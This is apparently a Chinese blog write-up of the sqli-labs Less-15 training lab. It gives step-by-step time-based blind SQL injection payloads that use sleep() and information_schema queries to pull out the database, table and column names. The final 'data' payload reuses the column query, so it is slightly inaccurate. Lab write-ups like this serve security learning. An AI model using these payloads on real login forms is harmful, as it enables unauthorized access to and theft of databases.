[网络安全]sqli-labs Less-15 解题详析

简介: [网络安全]sqli-labs Less-15 解题详析

该题为时间注入,原理可参考:[网络安全]SQL盲注?这一篇就够了

判断注入类型

uname=admin' and sleep(5) #

发现时间延迟

uname=admin and sleep(5) #

时间并未延迟,说明没有闭合单引号会导致语句错误

因此后端为单引号字符型查询


使用时间盲注

查库名

查库名长度

uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=1&submit=Submit

页面延迟明显,故库名长度为8

查库名组成

uname=admin' and if(left(database(),1)='s',sleep(5),1)#&passwd=1&submit=Submit

页面延迟明显,故第一个字符为s

同理

uname=admin' and if(left(database(),2)='e',sleep(5),1)#&passwd=1&submit=Submit

页面延迟明显,故第二个字符为e

可得到库名为security


查表名

查表个数

uname=admin' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) #&passwd=1&submit=Submit

延迟明显,故表个数为4

获取第一个表名称长度

uname=admin' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) #&passwd=1&submit=Submit

延迟明显,故第一个表名称长度为6

输入以下语句即可获得第一个表名称的第一个字符:

uname=admin' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) >= 100 and sleep(5) #&passwd=1&submit=Submit

页面延迟明显,说明第一个字符的ASCII值大于等于100

uname=admin' and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) = 101 and sleep(5) #&passwd=1&submit=Submit

延迟明显,说明第一个表名称的第一个字符为 e

最终得到第一个表名称为emails

同理可得到其它表名


查列名

获取列数

uname=admin' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'emails')=2,sleep(5),1) #&passwd=1&submit=Submit 

延迟明显,说明列数为 2

获取列名长度

获取第一列名称长度

uname=admin' and if(length(substr((select column_name from information_schema.columns where table_name= 'emails' limit 0,1),1))=2,sleep(5),1) #&passwd=1&submit=Submit

延迟明显,说明第一列名称长度为 2

获取列名字符组成

获取第一个列名的第一个字符

uname=admin' and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1) =105, sleep(5), 1) #&passwd=1&submit=Submit

延迟明显,说明第一个列名的第一个字符为i

查数据

获取 xx 列的第一个字段的第一个字符

uname=admin' and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1)判断表达式, sleep(5), 1) #&passwd=1&submit=Submit

同理,即可查出所有字段内容。


总结

以上为[网络安全]sqli-labs Less-15 解题详析,后续将分享[网络安全]sqli-labs Less-16 解题详析

我是秋说,我们下次见。

目录
相关文章
|
2月前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
210 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
2月前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
159 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
2月前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
139 0
|
2月前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
686 0
|
2月前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
326 0
|
2月前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
186 0
|
2月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
58 0
|
2月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
48 0
|
2月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
36 0
|
3天前
|
存储 安全 网络安全
云计算与网络安全:技术演进与挑战
在数字化时代的浪潮中,云计算以其高效、灵活和成本效益显著的优势成为企业数字化转型的核心驱动力。然而,随着云服务的广泛应用,网络安全问题也愈发凸显,成为制约云计算发展的关键因素。本文从云计算服务的基本概念出发,深入探讨了网络安全的重要性,并详细分析了云环境下的信息安全威胁。通过对比传统网络环境和云计算环境的安全挑战,本文揭示了云计算特有的安全风险,并提出了相应的防护策略。最后,本文展望了云计算与网络安全的未来发展趋势,旨在为相关领域的专业人士提供参考和启示。
18 0

热门文章

最新文章